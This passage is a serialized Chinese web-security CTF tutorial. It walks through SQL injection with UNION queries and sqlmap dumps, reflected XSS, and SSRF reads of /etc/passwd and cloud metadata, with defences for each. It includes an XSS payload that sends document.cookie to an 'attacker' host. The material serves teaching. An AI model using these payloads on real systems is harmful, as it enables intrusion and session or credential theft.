语句（注入点存在的第一个证据）。\n",[15,13017,13018],{},"预期输出：SQL 语法错误，例如：",[102,13020,13022],{"className":13021,"code":5283,"language":191,"meta":107},[189],[19,13023,5283],{"__ignoreMap":107},[15,13025,13026],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13028,13029],{},"输入 2：",[102,13031,13033],{"className":104,"code":13032,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[19,13034,13035,13045,13050],{"__ignoreMap":107},[111,13036,13037,13039,13041,13043],{"class":113,"line":114},[111,13038,5234],{"class":117},[111,13040,5237],{"class":1431},[111,13042,5310],{"class":121},[111,13044,5243],{"class":1431},[111,13046,13047],{"class":113,"line":140},[111,13048,13049],{"class":259},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[111,13051,13052],{"class":113,"line":448},[111,13053,13054],{"class":259},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13056,351,13057,13059],{},[19,13058,5317],{},"（条件为真，正常返回）。",[15,13061,13062],{},"输入 3：",[102,13064,13066],{"className":104,"code":13065,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[19,13067,13068,13078,13083],{"__ignoreMap":107},[111,13069,13070,13072,13074,13076],{"class":113,"line":114},[111,13071,5234],{"class":117},[111,13073,5237],{"class":1431},[111,13075,5336],{"class":121},[111,13077,5243],{"class":1431},[111,13079,13080],{"class":113,"line":140},[111,13081,13082],{"class":259},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[111,13084,13085],{"class":113,"line":448},[111,13086,13087],{"class":259},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13089,13090],{},"预期输出：空（条件为假，查不到数据）。",[15,13092,13093,13094,13096,13097,5355],{},"三个结果合起来：单引号报错、",[19,13095,5350],{}," 正常、",[19,13098,5354],{},[154,13100,13102],{"id":13101},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13104,13105,13107],{},[24,13106,162],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13109,13110,13112,13113,13115],{},[24,13111,292],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[19,13114,5375],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13117,13118],{},"第一步，确定列数：",[102,13120,13122],{"className":104,"code":13121,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[19,13123,13124,13134,13139],{"__ignoreMap":107},[111,13125,13126,13128,13130,13132],{"class":113,"line":114},[111,13127,5234],{"class":117},[111,13129,5237],{"class":1431},[111,13131,5402],{"class":121},[111,13133,5243],{"class":1431},[111,13135,13136],{"class":113,"line":140},[111,13137,13138],{"class":259},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[111,13140,13141],{"class":113,"line":448},[111,13142,13143],{"class":259},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13145,13146],{},"第二步，确认哪一列会回显：",[102,13148,13150],{"className":104,"code":13149,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[19,13151,13152,13162,13167,13172],{"__ignoreMap":107},[111,13153,13154,13156,13158,13160],{"class":113,"line":114},[111,13155,5234],{"class":117},[111,13157,5237],{"class":1431},[111,13159,5466],{"class":121},[111,13161,5243],{"class":1431},[111,13163,13164],{"class":113,"line":140},[111,13165,13166],{"class":259},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[111,13168,13169],{"class":113,"line":448},[111,13170,13171],{"class":259},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[111,13173,13174],{"class":113,"line":455},[111,13175,13176],{"class":259},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13178,351,13179,13181],{},[19,13180,5473],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13183,13184],{},"第三步，查数据库名：",[102,13186,13188],{"className":104,"code":13187,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[19,13189,13190,13200,13205],{"__ignoreMap":107},[111,13191,13192,13194,13196,13198],{"class":113,"line":114},[111,13193,5234],{"class":117},[111,13195,5237],{"class":1431},[111,13197,5492],{"class":121},[111,13199,5243],{"class":1431},[111,13201,13202],{"class":113,"line":140},[111,13203,13204],{"class":259},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[111,13206,13207],{"class":113,"line":448},[111,13208,13209],{"class":259},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13211,351,13212,27],{},[19,13213,1055],{},[15,13215,13216],{},"第四步，查表名：",[102,13218,13220],{"className":104,"code":13219,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[19,13221,13222,13232,13237,13242,13247],{"__ignoreMap":107},[111,13223,13224,13226,13228,13230],{"class":113,"line":114},[111,13225,5234],{"class":117},[111,13227,5237],{"class":1431},[111,13229,5516],{"class":121},[111,13231,5243],{"class":1431},[111,13233,13234],{"class":113,"line":140},[111,13235,13236],{"class":259},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[111,13238,13239],{"class":113,"line":448},[111,13240,13241],{"class":259},"# WHERE table_schema=database()：只筛当前库的表。\n",[111,13243,13244],{"class":113,"line":455},[111,13245,13246],{"class":259},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[111,13248,13249],{"class":113,"line":461},[111,13250,13251],{"class":259},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13253,351,13254,27],{},[19,13255,5523],{},[15,13257,13258],{},"第五步，拿 flag：",[102,13260,13262],{"className":104,"code":13261,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[19,13263,13264,13274,13279,13284],{"__ignoreMap":107},[111,13265,13266,13268,13270,13272],{"class":113,"line":114},[111,13267,5234],{"class":117},[111,13269,5237],{"class":1431},[111,13271,5580],{"class":121},[111,13273,5243],{"class":1431},[111,13275,13276],{"class":113,"line":140},[111,13277,13278],{"class":259},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[111,13280,13281],{"class":113,"line":448},[111,13282,13283],{"class":259},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[111,13285,13286],{"class":113,"line":455},[111,13287,13288],{"class":259},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13290,351,13291,27],{},[19,13292,5587],{},[15,13294,13295],{},"说明：",[9545,13297,13298,13303,13313],{},[1795,13299,13300,13302],{},[19,13301,5375],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1795,13304,13305,13308,13309,13312],{},[19,13306,13307],{},"--+","：URL 中解码后是 ",[19,13310,13311],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1795,13314,13315,13318],{},[19,13316,13317],{},"group_concat","：把多行拼成一行，方便一次性输出。",[154,13320,13322],{"id":13321},"_35-防御参数化查询","3.5 防御：参数化查询",[102,13324,13326],{"className":5001,"code":13325,"language":5003,"meta":107,"style":107},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[19,13327,13328,13332],{"__ignoreMap":107},[111,13329,13330],{"class":113,"line":114},[111,13331,5979],{},[111,13333,13334],{"class":113,"line":140},[111,13335,5984],{},[15,13337,13338,13339,13341,13342,13345],{},"此时输入 ",[19,13340,6023],{}," 只会被当作字符串 ",[19,13343,13344],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13347,13349],{"id":13348},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13351,13352,13354],{},[24,13353,162],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13356,13357,13359,13360,13363,13364,13367,13368,13371],{},[24,13358,292],{},"：页面把 ",[19,13361,13362],{},"name"," 原样输出。如果我们传 ",[19,13365,13366],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[19,13369,13370],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[154,13373,13375],{"id":13374},"_41-平台与代码","4.1 平台与代码",[15,13377,13378,13379,293],{},"任意 Web 应用。示例 ",[19,13380,13381],{},"xss.php",[102,13383,13385],{"className":5001,"code":13384,"language":5003,"meta":107,"style":107},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[19,13386,13387],{"__ignoreMap":107},[111,13388,13389],{"class":113,"line":114},[111,13390,13384],{},[154,13392,13394],{"id":13393},"_42-正常请求","4.2 正常请求",[102,13396,13398],{"className":104,"code":13397,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[19,13399,13400],{"__ignoreMap":107},[111,13401,13402,13404,13406,13409],{"class":113,"line":114},[111,13403,5234],{"class":117},[111,13405,5237],{"class":1431},[111,13407,13408],{"class":121},"http://127.0.0.1:8000/xss.php?name=alice",[111,13410,5243],{"class":1431},[15,13412,966,13413,27],{},[19,13414,13415],{},"你好，alice！",[154,13417,13419],{"id":13418},"_43-注入脚本","4.3 注入脚本",[102,13421,13423],{"className":104,"code":13422,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[19,13424,13425],{"__ignoreMap":107},[111,13426,13427,13429,13431,13434],{"class":113,"line":114},[111,13428,5234],{"class":117},[111,13430,5237],{"class":1431},[111,13432,13433],{"class":121},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[111,13435,5243],{"class":1431},[15,13437,966],{},[102,13439,13441],{"className":6613,"code":13440,"language":6615,"meta":107,"style":107},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[19,13442,13443,13448,13457,13470,13479],{"__ignoreMap":107},[111,13444,13445],{"class":113,"line":114},[111,13446,13447],{"class":219},"你好，\n",[111,13449,13450,13452,13455],{"class":113,"line":140},[111,13451,6622],{"class":219},[111,13453,13454],{"class":315},"script",[111,13456,1109],{"class":219},[111,13458,13459,13462,13465,13467],{"class":113,"line":448},[111,13460,13461],{"class":117},"  alert",[111,13463,13464],{"class":219},"(",[111,13466,6259],{"class":248},[111,13468,13469],{"class":219},")\n",[111,13471,13472,13475,13477],{"class":113,"line":455},[111,13473,13474],{"class":219},"\u003C/",[111,13476,13454],{"class":315},[111,13478,1109],{"class":219},[111,13480,13481],{"class":113,"line":461},[111,13482,13483],{"class":219},"！\n",[15,13485,13486,13487,13489,13490,13492],{},"浏览器会把 ",[19,13488,13370],{}," 当作代码执行。",[19,13491,5234],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[154,13494,13496],{"id":13495},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13498,13499],{},"攻击者构造 URL：",[102,13501,13503],{"className":6613,"code":13502,"language":6615,"meta":107,"style":107},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[19,13504,13505,13510,13518,13539],{"__ignoreMap":107},[111,13506,13507],{"class":113,"line":114},[111,13508,13509],{"class":219},"http://127.0.0.1:8000/xss.php?name=\n",[111,13511,13512,13514,13516],{"class":113,"line":140},[111,13513,6622],{"class":219},[111,13515,13454],{"class":315},[111,13517,1109],{"class":219},[111,13519,13520,13523,13525,13528,13531,13533,13536],{"class":113,"line":448},[111,13521,13522],{"class":117},"  fetch",[111,13524,13464],{"class":219},[111,13526,13527],{"class":1431},"'",[111,13529,13530],{"class":121},"http://attacker/?c=",[111,13532,13527],{"class":1431},[111,13534,13535],{"class":315}," +",[111,13537,13538],{"class":219}," document.cookie)\n",[111,13540,13541,13543,13545],{"class":113,"line":455},[111,13542,13474],{"class":219},[111,13544,13454],{"class":315},[111,13546,1109],{"class":219},[15,13548,13549,13550,13553],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[19,13551,13552],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[154,13555,13557],{"id":13556},"_45-防御输出编码","4.5 防御：输出编码",[15,13559,13560],{},"输出前把危险字符转义：",[32,13562,13563,13573],{},[35,13564,13565],{},[38,13566,13567,13570],{},[41,13568,13569],{},"原始字符",[41,13571,13572],{},"转义后",[51,13574,13575,13586,13598,13609,13620],{},[38,13576,13577,13581],{},[56,13578,13579],{},[19,13580,6622],{},[56,13582,13583],{},[19,13584,13585],{},"&lt;",[38,13587,13588,13593],{},[56,13589,13590],{},[19,13591,13592],{},">",[56,13594,13595],{},[19,13596,13597],{},"&gt;",[38,13599,13600,13604],{},[56,13601,13602],{},[19,13603,5877],{},[56,13605,13606],{},[19,13607,13608],{},"&quot;",[38,13610,13611,13615],{},[56,13612,13613],{},[19,13614,13527],{},[56,13616,13617],{},[19,13618,13619],{},"&#39;",[38,13621,13622,13627],{},[56,13623,13624],{},[19,13625,13626],{},"&",[56,13628,13629],{},[19,13630,13631],{},"&amp;",[15,13633,13634,13635,13638],{},"PHP 用 ",[19,13636,13637],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13640,13642],{"id":13641},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13644,13645,13647],{},[24,13646,162],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13649,13650,293,13652,13655,13656,13659,13660,13663,13664,13667,13668,13671],{},[24,13651,292],{},[19,13653,13654],{},"file_get_contents($url)"," 会按 ",[19,13657,13658],{},"$url"," 的协议去读内容。协议决定能力：",[19,13661,13662],{},"file://"," 读本地文件，",[19,13665,13666],{},"http://"," 访问内网，",[19,13669,13670],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[154,13673,13675],{"id":13674},"_51-平台与代码","5.1 平台与代码",[15,13677,13678,13679,293],{},"具有\"URL 处理\"功能的应用。示例 ",[19,13680,13681],{},"ssrf.php",[102,13683,13685],{"className":5001,"code":13684,"language":5003,"meta":107,"style":107},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[19,13686,13687,13691,13696,13701,13706,13711],{"__ignoreMap":107},[111,13688,13689],{"class":113,"line":114},[111,13690,5147],{},[111,13692,13693],{"class":113,"line":140},[111,13694,13695],{},"echo file_get_contents($_GET['url']);\n",[111,13697,13698],{"class":113,"line":448},[111,13699,13700],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[111,13702,13703],{"class":113,"line":455},[111,13704,13705],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[111,13707,13708],{"class":113,"line":461},[111,13709,13710],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[111,13712,13713],{"class":113,"line":467},[111,13714,5185],{},[154,13716,13718],{"id":13717},"_52-读本地文件","5.2 读本地文件",[102,13720,13722],{"className":104,"code":13721,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[19,13723,13724,13735,13740,13745],{"__ignoreMap":107},[111,13725,13726,13728,13730,13733],{"class":113,"line":114},[111,13727,5234],{"class":117},[111,13729,5237],{"class":1431},[111,13731,13732],{"class":121},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[111,13734,5243],{"class":1431},[111,13736,13737],{"class":113,"line":140},[111,13738,13739],{"class":259},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[111,13741,13742],{"class":113,"line":448},[111,13743,13744],{"class":259},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[111,13746,13747],{"class":113,"line":455},[111,13748,13749],{"class":259},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13751,351],{},[102,13753,13756],{"className":13754,"code":13755,"language":191,"meta":107},[189],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[19,13757,13755],{"__ignoreMap":107},[154,13759,13761],{"id":13760},"_53-探测内网端口","5.3 探测内网端口",[102,13763,13765],{"className":104,"code":13764,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[19,13766,13767,13778,13783,13788],{"__ignoreMap":107},[111,13768,13769,13771,13773,13776],{"class":113,"line":114},[111,13770,5234],{"class":117},[111,13772,5237],{"class":1431},[111,13774,13775],{"class":121},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[111,13777,5243],{"class":1431},[111,13779,13780],{"class":113,"line":140},[111,13781,13782],{"class":259},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[111,13784,13785],{"class":113,"line":448},[111,13786,13787],{"class":259},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[111,13789,13790],{"class":113,"line":455},[111,13791,13792],{"class":259},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13794,13795],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[154,13797,13799],{"id":13798},"_54-访问云元数据","5.4 访问云元数据",[102,13801,13803],{"className":104,"code":13802,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[19,13804,13805,13816,13821,13826],{"__ignoreMap":107},[111,13806,13807,13809,13811,13814],{"class":113,"line":114},[111,13808,5234],{"class":117},[111,13810,5237],{"class":1431},[111,13812,13813],{"class":121},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[111,13815,5243],{"class":1431},[111,13817,13818],{"class":113,"line":140},[111,13819,13820],{"class":259},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[111,13822,13823],{"class":113,"line":448},[111,13824,13825],{"class":259},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[111,13827,13828],{"class":113,"line":455},[111,13829,13830],{"class":259},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13832,13833],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[154,13835,13837],{"id":13836},"_55-防御","5.5 防御",[102,13839,13841],{"className":5001,"code":13840,"language":5003,"meta":107,"style":107},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[19,13842,13843,13848,13853,13858],{"__ignoreMap":107},[111,13844,13845],{"class":113,"line":114},[111,13846,13847],{},"$allowed = ['https', 'http'];\n",[111,13849,13850],{"class":113,"line":140},[111,13851,13852],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[111,13854,13855],{"class":113,"line":448},[111,13856,13857],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[111,13859,13860],{"class":113,"line":455},[111,13861,13862],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13864,13866],{"id":13865},"六必学工具-1curl","六、必学工具 1：curl",[15,13868,13869],{},"三个核心功能，逐个演示。",[15,13871,13872],{},"功能 1：带参数 GET。",[102,13874,13875],{"className":104,"code":5227,"language":106,"meta":107,"style":107},[19,13876,13877],{"__ignoreMap":107},[111,13878,13879,13881,13883,13885],{"class":113,"line":114},[111,13880,5234],{"class":117},[111,13882,5237],{"class":1431},[111,13884,5240],{"class":121},[111,13886,5243],{"class":1431},[15,13888,966,13889,27],{},[19,13890,5317],{},[15,13892,13893,13894,9414],{},"功能 2：查看完整请求与响应（",[19,13895,12575],{},[102,13897,13899],{"className":104,"code":13898,"language":106,"meta":107,"style":107},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[19,13900,13901,13913,13918,13923],{"__ignoreMap":107},[111,13902,13903,13905,13907,13909,13911],{"class":113,"line":114},[111,13904,5234],{"class":117},[111,13906,12563],{"class":248},[111,13908,5237],{"class":1431},[111,13910,5240],{"class":121},[111,13912,5243],{"class":1431},[111,13914,13915],{"class":113,"line":140},[111,13916,13917],{"class":259},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[111,13919,13920],{"class":113,"line":448},[111,13921,13922],{"class":259},"# \u003C 开头是响应行与响应头，最后是正文。\n",[111,13924,13925],{"class":113,"line":455},[111,13926,13927],{"class":259},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,13929,13930,13931,13933,13934,13936],{},"输出中 ",[19,13932,13592],{}," 开头的是请求，",[19,13935,6622],{}," 开头的是响应，最下面是正文。",[15,13938,13939,13940,9414],{},"功能 3：POST 数据（",[19,13941,13942],{},"-d",[102,13944,13946],{"className":104,"code":13945,"language":106,"meta":107,"style":107},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[19,13947,13948],{"__ignoreMap":107},[111,13949,13950,13952,13955,13958,13960,13963,13965,13967,13969,13972],{"class":113,"line":114},[111,13951,5234],{"class":117},[111,13953,13954],{"class":248}," -X",[111,13956,13957],{"class":121}," POST",[111,13959,5237],{"class":1431},[111,13961,13962],{"class":121},"http://127.0.0.1:8000/login.php",[111,13964,5877],{"class":1431},[111,13966,1389],{"class":248},[111,13968,5237],{"class":1431},[111,13970,13971],{"class":121},"username=admin&password=123",[111,13973,5243],{"class":1431},[15,13975,13976],{},"用于登录、上传等需要 POST 的场景。",[10,13978,13980],{"id":13979},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,13982,13983],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[32,13985,13986,13999],{},[35,13987,13988],{},[38,13989,13990,13993,13996],{},[41,13991,13992],{},"模块",[41,13994,13995],{},"用途",[41,13997,13998],{},"操作步骤",[51,14000,14001,14016,14027],{},[38,14002,14003,14006,14009],{},[56,14004,14005],{},"Proxy",[56,14007,14008],{},"拦截请求",[56,14010,14011,14012,14015],{},"浏览器设置代理 ",[19,14013,14014],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[38,14017,14018,14021,14024],{},[56,14019,14020],{},"Repeater",[56,14022,14023],{},"手工重放",[56,14025,14026],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[38,14028,14029,14032,14035],{},[56,14030,14031],{},"Intruder",[56,14033,14034],{},"自动化遍历",[56,14036,14037],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14039,14040],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14042,14044],{"id":14043},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14046,14047],{},"SQL 注入自动化工具。三个核心命令：",[15,14049,14050],{},"命令 1：检测。",[102,14052,14053],{"className":104,"code":5860,"language":106,"meta":107,"style":107},[19,14054,14055],{"__ignoreMap":107},[111,14056,14057,14059,14061,14063,14065,14067],{"class":113,"line":114},[111,14058,5867],{"class":117},[111,14060,5870],{"class":248},[111,14062,5237],{"class":1431},[111,14064,5240],{"class":121},[111,14066,5877],{"class":1431},[111,14068,5880],{"class":248},[15,14070,1441],{},[102,14072,14074],{"className":14073,"code":5886,"language":191,"meta":107},[189],[19,14075,5886],{"__ignoreMap":107},[15,14077,14078],{},"命令 2：列数据库。",[102,14080,14081],{"className":104,"code":5895,"language":106,"meta":107,"style":107},[19,14082,14083],{"__ignoreMap":107},[111,14084,14085,14087,14089,14091,14093,14095],{"class":113,"line":114},[111,14086,5867],{"class":117},[111,14088,5870],{"class":248},[111,14090,5237],{"class":1431},[111,14092,5240],{"class":121},[111,14094,5877],{"class":1431},[111,14096,5912],{"class":248},[15,14098,14099,14100,27],{},"预期输出：数据库列表，包含 ",[19,14101,1055],{},[15,14103,14104],{},"命令 3：导出数据。",[102,14106,14107],{"className":104,"code":5924,"language":106,"meta":107,"style":107},[19,14108,14109],{"__ignoreMap":107},[111,14110,14111,14113,14115,14117,14119,14121,14123,14125,14127,14129],{"class":113,"line":114},[111,14112,5867],{"class":117},[111,14114,5870],{"class":248},[111,14116,5237],{"class":1431},[111,14118,5240],{"class":121},[111,14120,5877],{"class":1431},[111,14122,5941],{"class":248},[111,14124,5944],{"class":121},[111,14126,5947],{"class":248},[111,14128,5950],{"class":121},[111,14130,5953],{"class":248},[15,14132,351,14133,14135,14136,27],{},[19,14134,3280],{}," 表内容，即 ",[19,14137,5587],{},[10,14139,14141],{"id":14140},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14143,14144,14145,14148],{},"题目：登录页 ",[19,14146,14147],{},"login.php","，源码：",[102,14150,14152],{"className":5001,"code":14151,"language":5003,"meta":107,"style":107},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[19,14153,14154,14159,14164],{"__ignoreMap":107},[111,14155,14156],{"class":113,"line":114},[111,14157,14158],{},"$user = $_POST['user'];\n",[111,14160,14161],{"class":113,"line":140},[111,14162,14163],{},"$pass = $_POST['pass'];\n",[111,14165,14166],{"class":113,"line":448},[111,14167,14168],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[154,14170,14172],{"id":14171},"第一步正常登录失败","第一步：正常登录失败",[15,14174,14175,14177],{},[24,14176,162],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[102,14179,14181],{"className":104,"code":14180,"language":106,"meta":107,"style":107},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[19,14182,14183],{"__ignoreMap":107},[111,14184,14185,14187,14189,14191,14193,14196,14198,14201,14203,14206],{"class":113,"line":114},[111,14186,5234],{"class":117},[111,14188,13954],{"class":248},[111,14190,13957],{"class":121},[111,14192,5237],{"class":1431},[111,14194,14195],{"class":121},"http://target/login.php",[111,14197,5877],{"class":1431},[111,14199,14200],{"class":248}," --data",[111,14202,5237],{"class":1431},[111,14204,14205],{"class":121},"user=admin&pass=wrong",[111,14207,5243],{"class":1431},[15,14209,966,14210,27],{},[19,14211,14212],{},"Login 